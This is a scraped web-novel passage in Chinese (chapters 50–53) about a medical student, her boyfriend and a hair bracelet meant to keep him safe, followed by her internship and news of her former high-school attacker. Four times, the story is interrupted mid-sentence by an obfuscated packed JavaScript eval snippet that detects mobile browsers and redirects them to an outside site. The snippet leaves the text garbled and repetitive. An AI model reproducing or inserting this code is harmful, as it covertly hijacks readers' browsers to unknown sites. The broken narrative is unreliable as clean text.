白玉拍了下她的肩膀,疑惑道:“不是哥们儿你是2G网吗?前几年这手绳在短视频里炒的多火你不知道?” 祁缘摇头:“我高中毕业以后才有手机,之前碰手机就用外婆的,而且只查过学习资料,你说的这个我确实没看过。” 白玉突然想起来那天她在宿舍里跟她们讲的种种悲惨事迹,她现在恨不得抽自己两个耳光:“我天,我嘴太快了,实在是对不起。” 都过去了,而且她不说祁缘也没往这方面想,她压根儿就没怪她:“铺垫这么长,你还能不能说了?” 白玉:“我说我说。当时有个说法是‘一缕青丝一缕魂,一生一世一双人。一缕青丝为君剪,愿君不负倾心人。’就是希望天下有情人终成眷属的意思,是不是还挺浪漫的?” 江阳补充了句:“浪漫归浪漫,但你送的那个人要是不专一你会遭到反噬的,像刚才那个女生说的,她要是真把手绳烧了,那男生会倒一辈子霉的!” 祁缘拧眉:“这么邪乎吗?” “你以为?”江阳突然想起了什么:“你不会是想给你男朋友送吧?我还是劝你不要送了,万一他要是辜负你怎么办?” “谁辜负我他都不会。”祁缘几乎是一瞬间就做出了回应,这一点她可以笃定。 他们在一起经历了那么多事,这世上没有人会比他们更懂得珍惜彼此了。 李晴川捂住江阳的嘴,对祁缘说:“哎,你要往好处想,据说这东西还能保佑对方挡灾解难、平平安安呢。” 前面她倒是觉得没啥,听见这个祁缘眼睛都放光:“你说这个准吗?” 李晴川一摊手:“不知道啊,有说灵有说不灵的,反正这个寓意是挺美好的。” 祁缘目光向前看,若有所思地点点头。 …… 一上午课终于上完了,上到将近十二点才下课,白玉扭着酸涩的脖子,伸了个懒腰:“这老师真能站,我坐一上午都累的够呛。” 李晴川笑了声:“你不是股骨头有毛病了吧?” “就知道搁那咒人。”白玉说完后又笑骂一句,整理好书包,对她们说:“走呗,去吃饭。” “去哪里吃?一食堂还是二食堂?”祁缘也收拾好了,扭头把书包背上。 白玉想起来课表,下午三点半才有课,推着她们往外走:“休息那么长时间呢,谁还去食堂啊?今天去校外吃。” 说是去校外吃,可学校周围的店她们都吃腻了,光是看着门上的牌匾就没有胃口。但是出都出来了,几人想了想,还是决定坐地铁去远一点的地方吃。 到站了,这里先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201924|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前应该是个集市,周围摆放着各种各样的餐车,看样子估计荒废很久了,车板上落了不少雪,根本没人收拾。 四人无所事事地逛着,还是觉得没什么吃的,就白玉买了份烤冷面,边走边吃。 “烤冷面哪儿没有?还要坐地铁来吃,这给你面子大的。” 白玉也觉得有点离谱了,笑了笑,结果差点噎住。她催促道:“你们快想想去哪里吃,我快冻死了。” “你事儿还怪多的,问你吃什么你还不知道。” 李晴川和白玉在前面拌嘴,周围全是吃饭的地方就没有一家能合她俩心意的。中途路过金店,不知不觉间祁缘的脚步放慢了些,前面三人觉得不对,这才察觉丢了个人。她们齐刷刷的扭头,发现祁缘正在透过窗户往店里面看。 江阳退回来,也跟着往里看:“怎么了?想买金子了?” 祁缘眨巴着眼睛:“这么好的寓意,所以不是迷信吧?” 三人皆是一愣,两秒后才反应过来她指的是什么。 她踏上台阶:“你们先去吃饭吧,我想去编一条手绳给他。” 江阳抓住她胳膊:“真要送啊?你也不想想……” “我只想求他平安。” 她轻声道,话里话外间却蕴含着无穷无尽的情愫。 温柔又有力量。 这是她最大的愿望。 江阳被感染到了,她虽然迄今为止还没谈过男朋友,但确确实实感受到了。 她紧跟着跨上台阶:“走走走,我跟你去。” 白玉和李晴川互相对视一眼,异口同声道:“走吧,不差这一会儿。” 金店内。 店员热情地过来打了声招呼,祁缘找了个空椅坐下,直奔主题:“姐姐,我想编一条青丝手绳。” “好的,我们家有很多款式,有福字、转运珠、平安扣……” 祁缘出声打断:“我就要平安扣。” 后面没必要听了,她的室友还没吃饭呢。 店员点点头:“行。” 她转身拿来剪刀,从祁缘头上撩起一撮头发,剪下来。 宋嶙一个男生戴红色未免有点鲜艳了,祁缘就选了个黑绳,店员把她的头发缠在绳上,然后开始编。 她注视着她手上的动作,看着绳子与头发一点一点融合,她满心期待。 店员注意到她脸上的表情,笑了笑:“给男朋友编的呀?” 祁缘也笑了:“对。” 店员不禁感慨:“这都是前几年流行的了,那时候店里整天都是小姑娘,就排着队等着编,我们店员那时候编的手都疼,吃饭都手抖。还是后来传出来男生不专一女生会倒霉的说法,这我们才解放双手。你突然想编这个,估计下了很大决心吧?” 祁缘说:“就是保他平安,别的我不在乎。” 店员顿了下,看那表情估计是把祁缘当成恋爱脑了,但职业素养不允许她暴露,于是她脸上依旧挂着笑:“那姐姐就祝你们的感情越来越好。” “谢谢。” 店员的手法很快,可能真是像她说的那样,那时候忙,手速练出来了。她不一会儿就编好了,编出来的样子也很好看。 祁缘付了钱,拿在手上的那一刻,她的心跳如潮水一般汹涌。 除了宋嶙,没人会懂她此时此刻是怎样的心情了。 51. 第 51 章 大一上半学年过去了,寒假到了。 警校比医大早放一天,所以宋嶙来学校接她了。 祁缘把手上的行李箱递给他,行为和表情都再自然不过,宋嶙摸了摸她的头,脸上洋溢着灿烂的笑。 和上次她们见到他时一点都不一样,那时候的宋嶙冷着个脸,一副要吃人的表情,她们都以为他这人很难相处。没人想到他笑起来时竟又是另一副模样,两个酒窝看上去贼带感,李晴川再一次唏嘘,祁缘看不上段瑞都是有原因的。 要是搁她身上她也这么选。 江阳在后面捂着上扬的嘴角:“你俩赶上在这拍校园剧了,整这么甜。唉,什么时候我也能谈上啊?” 宋嶙笑了声,摸出口袋里的手机,找到他们班的合照给她看,指着其中一列说:“这都是我们宿舍的,全没有对象,你看看有没有你能相中的。” “啊?真的吗?”江阳凑过去,照片里的男生个个穿着警服,往那里一站就是英姿飒爽的代名词,虽然没有面前这个帅,但好像都挺不错的。 她抿着唇,提了一个特别无理的要求:“能不能都给我推过来……” “……”宋嶙有些为难:“你是想同时处几个吗?那我不能眼睁睁看着我兄弟往火坑里跳啊。” 江阳没忍住翻了个白眼,果然帅哥都是没有脑子的,她跟他解释:“我是说都推过来,我想好好筛选一下。” “啊,这个可以。”宋嶙不好意思地笑笑,把手机揣回兜里,“到家的,到时候我让阿缘给你发过去。” “行。”江阳满意地点头,她这男朋友还挺有分寸感的,不枉祁缘这么喜欢他。 书包背着有些累,江阳便摘下来放到行李箱上,把带子和扶手捆在一起,转眼间,她看见了正蹲在门卫室门口的段瑞。 “这段瑞在这干嘛呢?可下放假了还不赶紧撤退。”白玉也看见了,皱眉说。 祁缘顺着她们的视线看过去,段瑞此时恰好抬头,宋嶙哼笑一声:“估计是在等他的女朋友吧。” “还等什么女朋友?前不久表白墙上面又有人爆料,说他乱搞染病了,现在谁还敢跟他处对象啊?” 江阳说这话时候反应很大,祁缘怕段瑞看出什么来,赶忙捂住她的嘴。 江阳只好悻悻闭上嘴,面上委屈的很:“我说的都是事实嘛……” 到校门口了,祁缘松开她,笑着跟她们挥手:“开学见。” “开学见。” 列车上。 祁缘美滋滋地欣赏着沿途的风景,一想到要回家了,空气都是甜的。 “不无聊吗?”宋嶙问,车厢上的人都拿着手机,或者跟邻座的人聊天,总之没有一个人像她这样静静待着还什么都不做的。 他们只在乎什么时候能到达目的地,没人在乎这一路的风景是好是坏。 祁缘脸转过来:“还好吧,这总比上课有意思吧?” 宋嶙很同意这个说法:“这是真的。” 长这么大就没有一节课是他爱上的,以前是这样,现在还是这样。 “对了,”祁缘低头掏口袋,手在里面翻找了一会儿,突然想起来什么,她不好意思地笑笑:“我忘了,在另一边。” 宋嶙也跟着笑:“什么鬼啊?” 直到她掏出来一个小盒子,是那种礼盒,外面绘着图案,上面系着蝴蝶结。她递给他:“喏,礼物。” “礼物?”宋嶙眼皮一抬,眸子放着光。 他迫不及待地拆开,小心翼翼地拨弄上面的包装纸,祁缘说:“你撕开就好了。” “那不行,到时候我还要包回去呢。” 过了大概半分钟,在他的“努力”下里面的盒子终于裸露出来了。他打开,展现在眼前的是一条黑色手绳,绳子中间串着一块平安扣,是白色底的,中间带飘花。 宋嶙怔住。 祁缘始终注视着他脸上的表情,她以为他会很激动,没想到居然这么平淡。她弱弱道:“你是不喜欢吗?” “没有,我喜欢,”宋嶙拿在手上端详,问:“你这个是青丝手绳吗?” “你怎么知道?” 他看向她:“因为我也给你编了一条。” 这下轮到祁缘怔住了。 宋嶙反手从兜里把盒子拿出来,他没像她系什么蝴蝶结,盒身很朴素。 打开一看,两人做的居然一模一样,要说非要找出来一个不同点,就是宋嶙给她的那个平安扣成色更好,也更亮。 “这就是心有灵犀吗?”宋嶙捏着她的手腕,笑着给她系上,他轻声说:“赠卿一缕青丝,许我一世长情。希望我的女孩子余生可以平平安安,无忧无虑。” 祁缘被他逗乐了:“你哪里听的说法?” 她记得当时白玉也说过这种话,但是和他说的这句不太一样。 宋嶙挑了挑眉:“何浩楠教我的。” 那天他拿着祁缘画的石膏娃娃回宿舍的时候,他们一看就知道怎么回事了。 宋嶙没懂:“就不可能是我自己画的?” 还是何浩楠懂他:“你哪儿能画出来这么好看的?” “……” 有人问:“你们去哪儿逛了?” 宋嶙把娃娃摆在桌子最显眼的位置上,应道:“就吃了个饭,逛了会儿商场,然后就去画娃娃了。就一下午,还指望我俩去哪儿逛?” 那确实没时间,那男生还想多了,他不死心地问:“就没亲一下吗?” 宋嶙笑了声,其实他还真有这个想法,但还是忍住了:“等我能给她一个稳定的未来的时候再说吧,初吻挺重要的。” 男生靠着床杆,那表情意味深长:“现在谁谈恋爱还那么封建啊?不开酒店都不正常,你们连亲都不亲,太假了。” 宋嶙睨他一眼:“别拿你的思想衡量我们知道吗?我喜欢的是灵魂,又不是躯体。” 男生听完咂咂嘴,不信:“你搁这装纯爱战神呢?” “这还真不是他装,我俩从小长大的,他说出来的话从来不食言。”多亏有何浩楠出来澄清,要不然这下宋嶙就是跳进黄河也洗不清了。 何浩楠坐在床上,用胳膊肘怼宋嶙,跟他打听:“关系都更上一层楼了,你没给她买个礼物啊?” 这也是宋嶙正在想的问题,他倚在被上,摇摇头:“我还没想好给她买什么,你知不知道什么带寓意的礼物?” “那你就送个青丝手绳吧,这个寓意好。” 赠卿一缕青丝,许我一世长情。 宋嶙拍了张两人握手的照片,配上这个文案,转头发了朋友圈。 这是他发的第一条朋友圈。 何浩楠正在喝水,刷到这条直接呛了,咳的满脸通红。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214366|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他留言:被你这狗装到了。 过了两分钟,宋嶙回复:感谢犬子的意见。 后面还带了个抱拳的表情。何浩楠:“……” 给他提意见还要挨骂,他图什么呢? …… 宋健开车去高铁站接他们,快半年没见,感觉两人都变模样了。 他一边胳膊揽一个,脸上笑意盈盈,路过的行人冲他点头:“这一儿一女多好,你这当爸爸的可真幸福。” 宋健笑的前仰后合:“你眼光真好,我也这么觉得。” 回家的时候宋健下车买了些菜,又买了些零食,全都是两人爱吃的。东西太多他提不了,分给宋嶙和祁缘各一袋子,他一低头,注意到两人手上戴着的手绳。 同色,同款。 这是……谈了? 宋健眼珠一转,一路上好奇的抓心挠肝,怕祁缘尴尬他也不敢问,车开的飞起,到家那一刻他就把宋嶙拉进了卧室。 宋嶙往床上一躺,笑道:“爸,你怎么偷感这么重?干什么道德败坏的事了?” “出去了半年还是这么不会说人话。”宋健无情地吐槽,转眼又一脸好信:“你俩什么情况?” 宋嶙:“什么什么情况?” “谈了?”宋健问的直接。 “嗯。”他平静地应着。 宋健“扑哧”一声,笑了:“什么时候的事?” 宋嶙腰一扭,侧着身子躺着,他拄着脸,想了想:“五十九天了。” 宋健一听,嘴角瞬间沉下去:“都两个月了你不告诉我?” “我刚才发朋友圈了。” “我从来不看朋友圈,你又不是不知道。” 宋嶙嗤了声:“那怨不得我了。” “我以为怎么还得大学毕业呢,你俩发展还挺快。”宋健嘀咕道,转身要往外走,胳膊突然被一股大力抓住,他一屁股坐回床里。 腰差点闪了。宋健竖着眉:“你能不能悠着点儿?你爹都多大岁数了,跟我下手还没个轻重。” 宋嶙“嗖”地坐起来:“爸你刚说那话是什么意思?什么大学毕业?你早都看出来了啊?” “啊。” “我当时表现的有那么明显吗?” 宋健往前回想了一下:“你还好吧,小缘是挺明显的,而且我感觉不止我看出来了,她外婆估计也知道这事。” “外婆知道?” 宋嶙记得他们两个老人那时候出事他们还没上高三呢。 这么久了? 宋健点点头:“我分析是,要不然怎么老找咱俩去她家呀?而且……” “你们怎么不告诉我?” 宋嶙出声打断,下一秒从床上跳下来,他快急死了:“要是谁跟我提个醒我俩早成了!” 宋健一时语塞:“你……你之前不是一直把她当妹妹吗?” “哎呀我真服了!” 这演技太好把宋健也骗过去了,宋嶙生无可恋地躺回床上,抬手拿被子蒙住脸。 他滚了一圈儿,脚在床边一晃一晃的:“为什么不跟我说呀?我真服了你们了……” 宋健露出嫌弃的表情:“多大了还搁这撒欢儿?提早告诉你你能咋地?现在是能过上结婚纪念日吗?” “那怎么着也能过上周年纪念日吧?” 宋嶙快要气死了。 52. 第 52 章 饭桌上,宋健的表情有些耐人寻味。 一连几天都是这样。 祁缘咬着筷子,她看了眼宋嶙,他光顾着埋头吃,吃饭的时候基本不抬头。 她到底还是按耐不住了,试探着开口:“爸,你是有什么想跟我说的吗?” 宋健靠着椅背,笑笑:“没有啊。” 祁缘深吸一口气,明明就有。 她现在有些怀疑,怀疑宋健是不是已经知道他们之间的事了。饭后宋健回屋,她去问厨房的宋嶙,后者把洗好的碗放到一边,抬起滴着水的手朝她一呲,语气吊儿郎当:“对啊,他知道了。” 祁缘愣住,来不及抹脸上的水,一瞬间心提到了嗓子眼儿:“你什么时候告诉他的?他当时什么反应?” 宋嶙眯着眼打量她,祁缘被盯的头皮发麻,手心浮上一层薄汗,她刚要开口,宋嶙解下腰上系着的围裙,说:“爸说你命好,找了一个这么好的男朋友。” “……”祁缘耷拉着眼皮:“他说什么都不会说这个。” 宋嶙:“……” “问你话呢,到底说什么了?” 宋嶙扬起一半唇角,邪笑出声:“你真要听是吗?” 祁缘觉得他这话问的就有毛病:“我要是不想听我还问什么?” “哦,”宋嶙上前一步,骨节分明的大手捧上她的脸:“他说他早就看出来你喜欢我了。” “……”不到两秒祁缘脸就红透了,她真想给自己两嘴巴,嘴怎么这么欠?什么都问只会害了自己。 脸被他端着,宋嶙皱了下眉,明知故问道:“脸怎么这么红啊?不会是说中了吧?” 他故意逗她,可祁缘不禁逗,她对这件事情羞涩的很,伸手捂上他的嘴,面露难堪:“你能不能别说了……” “刚才还让我说呢,现在又不让我说了,想干嘛?遛狗呢?” “哎呀你就当是这样吧。” 她破罐子破摔,从他手上挣脱开来,然后再迅速从他的胳膊底下溜走。 整套动作行云流水,她不敢有丝毫懈怠,要是留在这里他指不定还会问出什么来。 回到房间,祁缘去拔床头柜上正在充电的手机,屏幕亮起,她看见微信来了很多消息,都是江阳发给她的,总共二十三条。 她点开她们的聊天页面,一整页都是最少四十秒起步的语音。 祁缘划到最上面,从头开始听。她按下那一刻,江阳的大嗓门儿立刻就从电话那头传了过来。 “我服了,你男朋友宿舍这都些是什么人啊?不是木头桩子就是街头痞子,挨个儿聊了几天哪个都不靠谱。老娘我就想找个合眼缘的,跟我真心相爱的,有那么难吗?” “最差劲的就是那个叫何什么……浩楠,对,何浩楠,他简直就不会说人话呀!推给我这几个我是最后加的他,上来就给我发一句不处。还不处,他以为我看得上他吗?我就是跟他三舅姥爷处我都不跟他处,小瘪犊子还真把自己当回事儿了!” 祁缘把她的语音从头到尾听了个遍,发现只有第一句是吐槽那一帮人的,剩下的二十二条全都是骂何浩楠的。 “……”她咽了口唾沫,打字回复:他也没有你说的那样不堪吧?你们只是刚认识,不了解,等你跟他相处久了你会发现何浩楠他人其实挺好的。 江阳本来要去吃饭,结果看见这一串字又急了:“好?他好?我跟你说我就没见过这么气人的,何浩楠嘴真的老碎了,专门往人心窝子上戳,他跟你男朋友可比不了,不是我说,真是一个天上一个地下。” “……”要说到戳心窝子,好像是宋嶙更会吧?她可是刚刚就见识过呢。 暂且忽略这个话题,祁缘回忆了一下:“我记得你不是颜控吗?当时还说只要能跟帅哥谈恋爱,就算他是个邋遢鬼你都不介意。这邋遢鬼你都能接受,何浩楠你接受不了?” 江阳总有对付的:“他帅吗?” 何浩楠的朋友圈是开着的,平时偶尔会发张自拍,江阳点进去,刚开始看还好,细看就发现他眼睛不是很好看,是单眼皮,无神且臃肿。但胜在脸小,鼻梁高,所以他确实不丑,但也确实算不上帅。 祁缘想了想:也挺好的,还不错。 “算了,咱俩说话有代沟。”江阳长叹一声,又发了句:我先去吃饭了。 祁缘回复了一个OK的表情。她撂下手机,认识何浩楠也有一段时间了,虽然他们不在一个大学,她也有段时间没见过他了,但高中的时候他人是真的挺不错的。 如果他们两个在一起,也是一个不错的选择。 算了,她晃了晃脑袋,那是人家的事,她一个外人瞎操心什么。祁缘脱掉拖鞋,掀开被子钻进去,她想躺一会儿,不知道怎么回事,她这段时间都没什么胃口,明明没吃什么东西,胃部却经常隐隐作痛。 估计是凉到了。她想。 她扭头插上电热毯,平躺着。刚开始没什么效果,怎么待着都难受,过了好一会儿这种状态才减轻了些,身子舒服了也就来了困意,她缓缓闭上眼睛,不到两分钟就迷迷糊糊睡着了。 电热毯的温度摆在这儿,这一觉她睡得很舒服。 …… 这个冬天特别冷,祁缘想去打假期工赚点钱,可宋健和宋嶙坚持不同意,她这个想法也就只好作罢。 百无聊赖之际,祁缘发现手机里有那种网上兼职,她翻了翻,最后决定写征文然后投稿。 祁缘一直以来成绩都很好,写作水平也高,写了几篇发到网上反响都挺不错,后来直接被一个编辑签上,除了按阅读量结算的工资,每个月还可以多拿两千元的底薪。 这无非解决了当下的经济压力。 祁缘工作时宋嶙一直在她身边陪着,时间长了他也能给到一些比较实用的建议,结工资他也不要,钱全部打到了祁缘的卡里,一并存进去的还有他的钱。 祁缘顿住,宋嶙说:“我攒不住钱,你帮我存着,留着以后娶你当彩礼用。” “哦。”祁缘应了声,嘴角却不自觉地翘起。 明明他最知道省钱了。 寒假不知不觉到了尾声。 这一次是医大先开学,宋嶙帮祁缘拖着行李箱,一直护送到女生宿舍楼下。他把那阵买好的胃药一并塞她怀里,郁闷地说:“不舒服了就吃点,要是还是不见效就去医院看一下,别硬挺。” 祁缘看着他像个老父亲一样操心,她笑笑:“没事的,应该就是凉到了,每次往身上贴点热乎的东西就会好很多,你别担心。” 总说没事,宋嶙也不知道她说的是真是假。前段时间他不放心,想拉她去医院,结果祁缘死活不去,像个倔驴一样。但她平时还是挺活泼的,看她那表情也感觉没什么大问题。 宋嶙注视着她清澈见底的眼睛,叹了口气:“胃不好早饭就必须要吃,喝点小米粥什么的,养胃。如果一直不见好,还是难受的话你就必须得跟我说,要是连我都瞒着的话,看我知道了怎么收拾你。” “知道啦,我有什么事都会告诉你的。” 祁缘晃着他的手说,每次疼了敷一下热水袋就好了,不是凉到了还能是什么。 而且也不是天天都疼。 然而这种情况一直断断续续持续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225625|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了大四实习。祁缘在一家大医院学习,由一个女主任带她,名叫姜雨,人挺好,说话也和和气气的。 她大学没缺过课,成绩一直是前几名,做事态度积极认真,姜雨给病人检查身体的时候她一直跟在身后听着,问的问题也都能对答如流。姜雨满意地笑笑,没过多久就开始指导她上手操作了。 跟在后面看和上手是不一样的,祁缘刚拿着仪器的时候有些紧张,迟迟不敢下手。老人也挺和善,知道她是过来实习的还用温柔的语气安抚她:“没事儿,小姑娘,你就放心大胆的往里插就行,我这一把年纪的人了,就算疼点儿也没啥事儿,别有心理压力。” 祁缘对老人笑了笑,可越是面对这种病人,她就越怕弄疼他。 “总有一天你要独立上手的,而且现在还有老师在你身边呢,所以你别紧张,太紧张了反而会出错。”姜雨拍了拍她的肩膀,像是在给予她勇气与肯定。 “好。” 祁缘做好心里建设后把无菌巾铺在老人口部旁边,又拿了个弯盘用来承接病人的唾液以及呕吐物。接下来就是操作了,她小心翼翼地把胃镜放进老人的口腔,然后缓慢地顺着喉咙往更深处插入。 胃镜末端有摄像头,祁缘可以通过监视器上的实时图像来观察到老人的胃部情况。 姜雨也跟着看,但也只是看看,没有丝毫要发表意见的意思。 “胃粘膜有点发红,有轻度水肿和充血,”祁缘说,眼珠转了转:“这里有处出血点,考虑是慢性浅表性胃炎。” 她又观察了一会儿,目的是为了确保自己诊断的结果是正确的。后来祁缘自认为没问题了,扭头看向姜雨,老师的表情很满意,看样子她做的还不错。 她把胃镜一点一点抽出来,老人缓了缓,那股恶心劲儿也慢慢跟着消散了。 “真的就只是胃炎吗?我这胃总难受,就是那种隐痛,然后还一整就啥也不想吃,我都寻思自己得什么大病了呢。” 老人坐起来,一边穿外套一边说。 祁缘发现他和自己的症状还蛮相似的。 姜雨笑了声:“老人家,啥事不能想的那么绝对,小病和大病之间隔了不知道有多远呢,你看这结果不是挺好吗?回去吃饭别吃刺激性的东西,吃点易消化的,生活作息再规律点,慢慢就调整过来了。” 听完老人也笑了,长舒一口气:“哎呀,确实是我太焦虑了,这回知道自己没事儿心里的石头也就落地了。” 说着,他扭头,冲祁缘竖了个大拇指:“还有这个小医生,说她是实习医生我还真不信,她做的比我之前找那个大夫不知道要好多少倍,除了做胃镜那点本能反应,我还真没什么难受的地方。真是谢谢你了。” 祁缘突然被鼓励,她反倒还有点不知所措了:“还得是您信任我我才能心无旁骛地做好这件事,说到底还是您的配合好。” “哈哈哈哈哈,大夫,这小医生可得好好培养啊,以后要是还不舒服我可还得过来找她。” 姜雨扬唇:“是,这可是我的得意门生呢,她将来肯定比我这个当老师的还强百套。” 他俩你一言我一语的说着,都是夸祁缘的话,她原本还怕自己手生做不好,这下终于有点信心了。 姜雨把老人送走后,后面的一连几个病人都是祁缘做的,没人说她技术不好,也没人觉得她是实习医生就另眼相待。今天的运气不错,没有一个人得了那个治不好的病,每个人都是开开心心出去的。 祁缘目送最后一个病人出去,她今天脸上一直都是挂着笑的。 她开心,开心自己是一个有价值的人。 53. 第 53 章 祁缘技术好,深深得到了姜雨的重用,她这几天一直跟着老师忙里忙外,累的回去连饭都懒得吃,直接就往床上一躺。她拿出手机给宋嶙发消息,他这段时间一直在忙活入伍的事,两人一天都说不上几句话。 祁缘不敢给他打电话,怕打扰到他,只能打字:你在干嘛? 消息发过去以后她就一直在扒拉屏幕,隔了大概十分钟那边才回复:我刚去拿入伍通知书了,才进屋。 这么快就拿到了? 那是宋嶙的梦想,听到这个消息祁缘应该替他开心才对,但她现在就是开心不起来。 入伍通知书到手就意味着他马上就要走了,她要是想见他,最少也要两年起步。 想想都觉得难熬。 见聊天框迟迟没有消息,宋嶙直接弹了个电话过来,祁缘静静地看着,直到电话快挂断了才接通。 “干嘛呢?这么半天才接电话。” 宋嶙爽朗的嗓音在她耳畔响起,祁缘的心跟着颤了颤,情绪有些复杂。她揉了揉眼睛,寻了个借口:“刚刚去洗衣服了,手机调的振动,放在屋里没听到。” 她明明已经很克制了,可宋嶙却总是能很快察觉到她的不对劲,他皱起眉:“你怎么这个声音?是哪里不舒服吗?” 这么一说还真有点儿。她现在饿的胃疼,但又不想吃东西,看见吃的就恶心。祁缘盯着天花板上的碎花图案,故作轻松道:“没有,就是最近有点忙,我身体有点吃不消,休息一下就好了。” 宋嶙摆弄着手里的文件,闻言指尖一顿,提到这个他就后悔:“当时我就应该态度再坚决一点,让你报个别的大学,你现在也不至于这么受苦。” “苦是真的,开心也是真的。最近一直都是我给病人做胃镜,今天还有人夸我手法好呢。” 听她这语气好像还挺骄傲的,宋嶙无奈叹了口气,后又浅笑出声:“行,只要你开心就行,但是一定要记得按时吃饭,要不然时间长了该生病了。” “好。” 祁缘应着,空气突然安静下来,两人半天没说话,电话里只能听见彼此的呼吸声。 “对了,我过段时间就入伍了,那天你……能不能过来送送我?” 想到她最近挺忙的,来回跑也费劲,宋嶙又有些犹豫:“哎呀,要是你太忙了就不用……” “能,我一定去。”祁缘答应的飞快。 下次见面都不知道要什么时候了,那天她无论如何都得过去。 宋嶙如愿以偿,扬起嘴角,“嗯”了声:“那一言为定。” “一言为定。” …… 江阳她们三个只有大一乖乖上课了,大二以后胆子就大了,时不时就要逃课出去玩,好不容易没挂科,但也算是全凭运气。 她们宿舍四人都在这一所医院实习,待了快两个月了,祁缘还是能经常听到她们挨骂的声音。 私底下在一起吃饭,她们互相吐槽自己的老师怎么怎么样,反反复复那几句话,祁缘听的耳朵都快要长茧子了。 今天倒是聊了点新鲜事。 白玉咽下嘴里的饭,突然想起来上午精神科来的病人。 她低声道:“我和你们说,我们科室不是离精神科比较近吗?那阵来那个病人又是闹又是摔东西的,我的天,我躲在科室里都瑟瑟发抖,我真怕她突然冲过来给我一棒槌。” “哈哈哈哈,你可别自己吓自己了。” 白玉瞪圆眼睛,正色道:“你怎么还当笑话听呢,我听说她好像是精神分裂,据说幻视幻听都很严重。我发小就在那个科室,她说她往那一坐哆哆嗦嗦的,看哪里都喊有鬼,给她也吓的够呛。” 江阳听得面部扭曲:“啊?男的女的啊?这种应该得送精神病院吧?估计是受什么大的刺激了要不然不能这样。” “女的,”白玉说,饭都顾不上吃了,跟她们张牙舞爪的比划:“我发小跟我说那女的上高中的时候心理就有问题了,她不仅霸凌别的女生,还在大雨天追出去,拿小刀给人家划伤了,直接扎肚子上,那女生命都差点丢了……” 太相似了。祁缘拿着筷子的手猛地一颤,饭盒没拿稳,饭菜撒了一地。 正听得起劲儿,江阳被这突发情况吓了一跳,平复下来后蹲下帮着收拾:“怎么回事啊缘缘?你再去打一份吧,下午还要上班呢,吃不饱挺累的……” “那个精神科的病人叫什么名字?”祁缘问,今天的菜油腻腻的,她一连扯了好几张纸地板上的油都没抹干净。 白玉想了想:“好像叫蒋什么,两个字的,哎呀我发小跟我说这事的时候还真说名字了,但是我记性差给忘了。怎么了,你问这个干什么,难道你认识?” 听到这个熟悉的名字,记忆一下拉回那个雨天,蒋晗面目狰狞的表情历历在目,这令人毛骨悚然的场景仿佛又在她眼前发生了一遍。祁缘突然泛起一阵恶心,干呕了几下,就连胃也跟着疼。 李晴川大惊失色,给她拍背顺气:“你怎么了?怎么突然冒这么多汗?” 祁缘挥挥手,撑着膝盖站起来,强颜欢笑道:“没事,这几天有点不太舒服,应该是感冒了。你们先吃吧,我去扔个垃圾。” 她说完就拎着东西跑了,留下三人在原地面面相觑。 “怎么感觉她今天有点儿不太正常?”江阳挠了挠头,突然想起来上次祁缘穿短款上衣时抬手腹部露出的那道疤,当时她们几个还以为她以前做过手术,现在看来好像并不是她们所想的那样。 莫非那个受害者就是她? 天台上,祁缘头抵着栏杆,攥拳攥到指尖发白。 怎么可能不认识?那时候就是蒋晗不把她当人的侮辱她,拉帮结派的欺负她。 在她心里,她就不是人,就是一个用来发泄的玩具。玩累了,就想要把她弄死。 鼻子发酸,泪水滚烫。 蒋晗为什么还活着?就算是疯疯癫癫祁缘也不愿意,她这种人为什么不去死? 她和祁建强一样,都是视人命如草芥的人渣。 祁缘用袖子抹去眼角的泪,她真的恨她,恨到骨子里,恨到牙痒痒,恨到胃开始抽着疼,她连站都站不起来。 可就算是这样,她也拿她一丁点儿办法都没有。 她自嘲一笑,笑自己是真的窝囊。 下午上班祁缘一直没办法集中注意力,面色苍白,手指哆嗦个不停,姜雨看她不在状态便让她去一边休息一下,病人不多,她自己就能应付过来。 等到屋里没人了,她摘下手套走过来,摸了摸她的脸,皱眉道:“你是哪里不舒服吗?我怎么感觉你最近瘦了这么多,脸都小了一圈儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236190|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 